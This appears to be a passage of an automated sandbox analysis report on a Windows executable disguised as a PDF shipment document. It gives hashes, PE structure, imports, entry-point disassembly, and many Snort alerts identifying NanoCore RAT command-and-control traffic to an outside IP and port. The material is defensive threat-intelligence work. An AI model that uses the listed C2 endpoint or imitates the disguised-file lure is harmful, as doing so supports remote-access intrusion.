SHA-512:	6042BAD2119F19C0355DC43C7CC0F03A5943C524252DC7F0DA0FF4ED254D9486EC3C485BBF0D8010CF5CBF2A22B5F2BFFA8247D87EEFFEF91A72B891FCFAD49D
Malicious:	false
Preview:	Y.!&.Z....o.....-....D....8.)8E^.+.....a..7..[?cH.Y...d..[....2R.&..f.....,t.y.OO..q.>..@.%..r...h,.N.~xh......&..{.....6.pR2cM...tM8X.1....q.......;).../0.u...f}...j}.3......+[._.`VS..U+!yoY........?R...Z..X.i...o....O.}...9.`F.e>~.%...E..Z...(?...........j..^zC.>...\.n.3."f....V;......,....&...-.#...,c....\3Z......}^!..[A....Y.U./Rz....a.....\|......:5p...._.[...g....B&.-....T.WF..dY..^.Z..W/.......M.V. ......:I...A.........{.5.....2f5A......W.p.T..9K..n3.Js..N<.L.W...=Hv.8Q.d.(.H!`k.aO....Y....s....l.1.A`H.P<u.Z4..).0.n.......M/GL..JjD.;.P.... .;.H..h.7D.\|..e..(._WTD......:<J^..a....Eq]}.f....t...J&.:d+t......5.)]'.ww..`.A...q....!.....Y..7...X.p.y.D...].y...P.=pc..V&T. `W}B.....%..D."...P....#..,...:.&."4$1..e.9Z......F2."mTM....~...g.....c..%".T...q..$_l...#j..:t...."...t=.e.....@.U.i.U..Bj.....E#...~.r.<....,.UP5t..@e....G....H......7Ye..i......^......9..4C.o.3..F'..A..e..=.u..Bw.6S..^..]..v..&.....<)$On.UxV5.+:..vh....a.q..R...e

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	5.07060597644582
Encrypted:	false
SSDEEP:	3:RGXKRjN3Mxm8d/AjhclROXDD9jmKXVM8/FOoDamd9xraWMZ4MKLJFcLEWgJya7:zx3M7ucLOdBXVNYmd9NaWM6MKnH5JyY
MD5:	B08826036A3E81B44E7D8C1284381013
SHA1:	96CF7E6BC1B55C69CE33BEC3B78FFF4EB8839B87
SHA-256:	E7AD5092F56BB2ACA26262C361FE5F83171D21AB134D4E5D2EF47E9BF641B549
SHA-512:	EB9908F6FB6398EDCE4F3B18AA64ABEE8774D1CA3A5B533617C97AAC5E795627CCB8B1176BE64371E6BEF6352004FC2B4862A388D61A6103D05B5B2D02CD0481
Malicious:	false
Preview:	Microsoft (R) .NET Framework CasPol 2.0.50727.9149..Copyright (c) Microsoft Corporation. All rights reserved.....ERROR: Invalid option: 0....For usage information, use 'caspol -?'..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.715600015491742
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Original Shipment_Document.PDF.exe
File size:	341696
MD5:	626cdeaa4696c819fd07921073f6c740
SHA1:	b094f5e4c3792a05b7f307ad78d2e52cfcbf87b4
SHA256:	d8519cee2bbf5c257375b339d530b33f275db40c06de0f96911eb5b4f207f2c5
SHA512:	2cbfa1d322bd8b6bd861c97f43ef4778a6ef2fb86b718f2571b54f1ce5874afbdf3a9e1728986c7593eb7f48b2defcff624ac467a5ff2677d9036093edaf88f0
SSDEEP:	6144:JNeZc5FBkXpIwbmr2KEROaPdEY8mff3PgRsmq:JNRTr2KEROoT8mfH+q
TLSH:	9F741AC1E199FCD5C428007659B9E521251BAB6EF0B8493B396A7519B0FF383607BE0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................f...*.....

File Icon


Icon Hash:	ccc0d4ccccdc6cb4

Static PE Info

General

Entrypoint:	0x4034f7
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x614F9AE5 [Sat Sep 25 21:55:49 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	56a78d55f3f7af51443e58e0ce2fb5f6

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Slnggrebets Buginese Itemizer ", OU="Louped Estes ", E=Kodeskrifter@Blakkers.For, O=Kedging, L=Bury, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	30/09/2021 15:49:03 29/09/2024 15:49:03
Subject Chain	CN="Slnggrebets Buginese Itemizer ", OU="Louped Estes ", E=Kodeskrifter@Blakkers.For, O=Kedging, L=Bury, S=England, C=GB
Version:	3
Thumbprint MD5:	9531A5E4D76383B4586733B6369AA05A
Thumbprint SHA-1:	EB1025208E0319CC8EEFE675D7F0134D108F989B
Thumbprint SHA-256:	1860FBBE1C07E5046864295E0AE0BA476642D85716E6DDB0C4D6E2BF3405DB86
Serial:	2A16DD32E2795EBB

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A2E0h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080CCh]
mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F1A605152FAh
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F1A605152CAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A2D8h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2eec8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x52fb0	0x710	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6515	0x6600	False	0.6615349264705882	data	6.439707948554623	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.45	data	5.145774564074664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20338	0x600	False	0.4993489583333333	data	4.013698650446401	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x27000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2eec8	0x2f000	False	0.3425500748005319	data	5.305541691795029	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x52340	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x62b68	0x94a8	data	English	United States
RT_ICON	0x6c010	0x6cb4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x72cc8	0x5488	data	English	United States
RT_ICON	0x78150	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 254, next used block 1056964608	English	United States
RT_ICON	0x7c378	0x25a8	data	English	United States
RT_ICON	0x7e920	0x10a8	data	English	United States
RT_ICON	0x7f9c8	0x988	data	English	United States
RT_ICON	0x80350	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x807b8	0x100	data	English	United States
RT_DIALOG	0x808b8	0x11c	data	English	United States
RT_DIALOG	0x809d8	0xc4	data	English	United States
RT_DIALOG	0x80aa0	0x60	data	English	United States
RT_GROUP_ICON	0x80b00	0x84	data	English	United States
RT_MANIFEST	0x80b88	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20188.127.230.1764983847262816766 08/05/22-11:35:49.166459	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49838	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982847262816766 08/05/22-11:35:00.505316	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49828	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987847262816766 08/05/22-11:39:25.478451	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49878	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980847262816766 08/05/22-11:33:35.611490	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49808	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981247262816766 08/05/22-11:33:54.948742	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49812	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988847262816766 08/05/22-11:40:18.857309	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49888	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985547262816766 08/05/22-11:37:25.064645	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49855	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986547262816766 08/05/22-11:38:18.642662	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49865	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982247262816766 08/05/22-11:34:32.402122	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49822	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983247262816766 08/05/22-11:35:25.408580	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49832	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980847262025019 08/05/22-11:33:34.751911	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49808	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984247262816766 08/05/22-11:36:13.005262	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49842	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986247262816766 08/05/22-11:38:06.729941	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49862	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988547262816766 08/05/22-11:40:00.970573	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49885	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498322810290 08/05/22-11:35:24.225691	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	4726	49832	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764985247262816766 08/05/22-11:37:07.368175	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49852	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987347262816718 08/05/22-11:39:13.855980	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49873	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985147262025019 08/05/22-11:36:59.699324	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49851	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983847262025019 08/05/22-11:35:47.449492	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49838	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984847262025019 08/05/22-11:36:42.032110	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49848	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984147262025019 08/05/22-11:36:05.289138	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49841	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986147262025019 08/05/22-11:37:52.997548	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49861	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764979447262816718 08/05/22-11:33:02.095717	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49794	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983147262025019 08/05/22-11:35:17.664167	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49831	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987147262025019 08/05/22-11:38:57.638279	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49871	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982847262025019 08/05/22-11:34:58.742582	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49828	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985847262025019 08/05/22-11:37:41.082895	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49858	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986847262025019 08/05/22-11:38:39.814344	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49868	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764979947262816766 08/05/22-11:33:09.270945	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49799	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987247262816766 08/05/22-11:39:08.653978	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49872	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981147262025019 08/05/22-11:33:46.481160	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49811	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764989147262025019 08/05/22-11:40:34.838222	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49891	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980147262025019 08/05/22-11:33:14.652316	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49801	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988147262025019 08/05/22-11:39:41.582894	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49881	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988747262025019 08/05/22-11:40:11.197738	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49887	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983247262025019 08/05/22-11:35:23.679240	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49832	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984247262025019 08/05/22-11:36:11.291801	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49842	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982247262025019 08/05/22-11:34:30.638951	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49822	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983547262816766 08/05/22-11:35:31.451561	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49835	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981547262816766 08/05/22-11:34:08.501141	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49815	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982547262816766 08/05/22-11:34:50.204627	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49825	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987847262025019 08/05/22-11:39:23.730317	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49878	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988847262025019 08/05/22-11:40:17.090533	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49888	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980547262816766 08/05/22-11:33:22.383668	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49805	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981247262025019 08/05/22-11:33:52.852731	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49812	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988447262816766 08/05/22-11:39:55.080767	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49884	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498262841753 08/05/22-11:34:54.542585	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	4726	49826	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764985747262816766 08/05/22-11:37:36.861672	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49857	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984747262816766 08/05/22-11:36:37.812002	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49847	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983747262816766 08/05/22-11:35:43.236046	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49837	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980747262816766 08/05/22-11:33:29.009824	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49807	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764979447262025019 08/05/22-11:33:01.102124	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49794	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985647262816766 08/05/22-11:37:30.956682	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49856	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987947262816766 08/05/22-11:39:31.508413	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49879	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986647262816766 08/05/22-11:38:24.570048	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49866	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986947262816766 08/05/22-11:38:47.423878	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49869	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498922841753 08/05/22-11:40:40.909395	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	4726	49892	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764984947262816766 08/05/22-11:36:49.653463	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49849	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988647262816766 08/05/22-11:40:06.907839	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49886	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498552810290 08/05/22-11:37:23.933683	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	4726	49855	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764983947262816766 08/05/22-11:35:55.157703	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49839	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984147262816718 08/05/22-11:36:06.412675	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49841	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985247262816718 08/05/22-11:37:06.689723	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49852	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986247262816718 08/05/22-11:38:06.064476	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49862	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981947262816766 08/05/22-11:34:20.560923	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49819	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982947262816766 08/05/22-11:35:06.392387	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49829	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986747262816766 08/05/22-11:38:35.504977	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49867	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986847262816766 08/05/22-11:38:41.519368	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49868	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985847262816766 08/05/22-11:37:42.751072	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49858	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988747262816766 08/05/22-11:40:12.952395	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49887	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980947262816766 08/05/22-11:33:42.225764	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49809	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984847262816766 08/05/22-11:36:43.701356	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49848	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982347262025019 08/05/22-11:34:37.283841	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49823	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985647262025019 08/05/22-11:37:29.239382	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49856	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986647262025019 08/05/22-11:38:22.853369	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49866	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988047262816766 08/05/22-11:39:37.382125	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49880	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986947262025019 08/05/22-11:38:45.661129	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49869	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987947262025019 08/05/22-11:39:29.799274	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49879	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764979447262816766 08/05/22-11:33:02.918743	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49794	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987347262025019 08/05/22-11:39:12.794756	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49873	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983647262025019 08/05/22-11:35:35.588696	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49836	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984047262025019 08/05/22-11:35:59.334024	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49840	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988347262025019 08/05/22-11:39:47.440909	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49883	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981347262025019 08/05/22-11:33:59.524508	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49813	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988947262025019 08/05/22-11:40:22.999504	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49889	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985047262025019 08/05/22-11:36:53.797027	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49850	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764989047262816766 08/05/22-11:40:30.642557	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49890	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984647262025019 08/05/22-11:36:30.148934	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49846	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983047262025019 08/05/22-11:35:11.757510	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49830	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986347262025019 08/05/22-11:38:10.930109	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49863	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982047262025019 08/05/22-11:34:24.776943	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49820	4726	192.168.11.20	188.127.230.176
